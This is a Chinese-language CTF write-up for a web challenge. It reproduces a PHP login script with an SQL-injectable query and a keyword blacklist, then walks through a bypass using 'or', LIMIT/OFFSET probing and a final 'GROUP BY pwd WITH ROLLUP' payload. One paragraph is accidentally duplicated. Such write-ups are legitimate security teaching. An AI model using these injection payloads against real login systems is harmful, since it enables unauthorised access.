打开页面,查看源代码,发现存在source.txt(http://ctf5.shiyanbar.com/web/pcat/source.txt),如下:
<?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ //检测变量是否是数组 $StrValue=implode($StrValue); //返回由数组元素组合成的字符串 } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次后就会停止匹配 print "水可载舟,亦可赛艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ //遍历数组 AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); //设置活动的 MySQL 数据库 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); //执行一条 MySQL 查询 if (mysql_num_rows($query) == 1) { //返回结果集中行的数目 $key = mysql_fetch_array($query); //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; } mysql_close($con); ?>
这里源码并不难 只要理清楚还是很简单的
就是一个注入 但是要满足以下几个条件
1、$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)" 不能使用这些关键词进行注入
2、mysql_num_rows($query) == 1 每次查询返回的行数是1
3、if($key['pwd'] == $_POST['pwd']) 传入的pwd和查询出来的结果一致
条件一可以 发现没有过滤or关键词和单引号 我们可以利用这个构造payload。
而要满足条件二,就要使用limit来限制返回数据条数,但是又要满足条件三。。。这里就用到
group by pwd with rollup
这里的with rollup是在group by 的基础上 ,新增一行汇总。
简单例子来说明下这个with rollup的作用,就很好理解为什么能绕过这道题了。
例如下面一个统计:
分组统计:
SELECT name, SUM(money) as money FROM test GROUP BY name WITH ROLLUP;
这里选择name 、money查询,以name来分组,但是使用了with rollup关键字,使最后一行多了一行汇总的数据
最后一行name字段下的null是因为name中的数据集都是字符串,没有办法像数字一样取汇总,
可以看到按照name分组后对money求和统计了。上面看到 null 1242, 如何搞个别名字段比如 总金额:1242呢?也可以滴,咱们继续:
coalesce(a,b,c); 参数说明:如果a==null,则选择b;如果b==null,则选择c;如果a!=null,则选择a;如果a b c 都为null ,则返回为null(没意义)。
SELECT coalesce(name, '总金额'),name, SUM(money) as money FROM test GROUP BY name WITH ROLLUP;
数据汇总方面。用途还是很方便。
回到我们的题目,这里就用到了with rollup来绕过条件三
注意它的查询语句是
select * from interest where uname = ‘{$_POST[‘uname’]}’
于是构造:
1' or 1 limit 1 offset 0# 1' or 1 limit 1 offset 1# 1' or 1 limit 1 offset 2#
发现2#时返回“一颗赛艇!” 其他都是“亦可赛艇!”———–说明数据库只有两条信息
接下来就是想办法绕过if判断,只要if的判断为真就可以通过,于是可以利用group by with rollup来进行绕过,
group by with rollup会在统计后的产生一条null的信息,然后在pwd里面就可以不用写值了,if就为真
注意它的查询语句是
select * from interest where uname = ‘{$_POST[‘uname’]}’
于是构造:
1' or 1 limit 1 offset 0# 1' or 1 limit 1 offset 1# 1' or 1 limit 1 offset 2#
发现2#时返回“一颗赛艇!” 其他都是“亦可赛艇!”———–说明数据库只有两条信息
接下来就是想办法绕过if判断,只要if的判断为真就可以通过,于是可以利用group by with rollup来进行绕过,
group by with rollup会在统计后的产生一条null的信息,然后在pwd里面就可以不用写值了,if就为真
payload:1' or 1 group by pwd with rollup limit 1 offset 2#